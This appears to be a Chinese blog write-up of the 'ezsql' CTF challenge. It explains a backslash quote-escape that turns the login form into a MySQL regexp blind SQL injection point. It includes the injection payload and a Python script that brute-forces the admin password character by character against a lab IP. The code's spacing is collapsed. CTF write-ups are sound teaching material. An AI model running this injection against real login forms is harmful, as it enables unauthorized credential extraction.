青少年CTF-ezsql-题目解析

ezsql


题目来源:克拉玛依市第一届网络安全技能大赛

0x01 解题思路


进入提示,发现要我们登陆,点击确定后跳转到了login.php目录。

通过探测发现过滤了select、union、'、"、、=、like、and等

username处加反斜杠转义单引号,造成逃逸,后面可控,成为注入点,payload:or password regexp binary {}#

利用regexp进行匹配猜测数据,还需要用binary关键字来区分大小写

题目的考点应该是本题考点为MySQL regexp盲注了。

0x02 解题脚本


importrequests
importstring
​
defstr2hex(string):
  result=''
  foriinstring:
    result+=hex(ord(i))
  result=result.replace('0x','')
  return'0x'+result
​
strs=string.ascii_letters+string.digits
url="http://172.24.18.80/ezsql/login.php"
headers= {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0'
}
payload='or password regexp binary {}#'
if__name__=="__main__":
    name=''
    foriinrange(1,40):
        forjinstrs:
            passwd=str2hex('^'+name+j)
            payloads=payload.format(passwd)
            postdata={
                'username':'admin\\',
                'password':payloads
            }
            r=requests.post(url,data=postdata,headers=headers)
            if"Maybe you are right"inr.text:
                name+=j
                print(j,end='')
                break
      

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值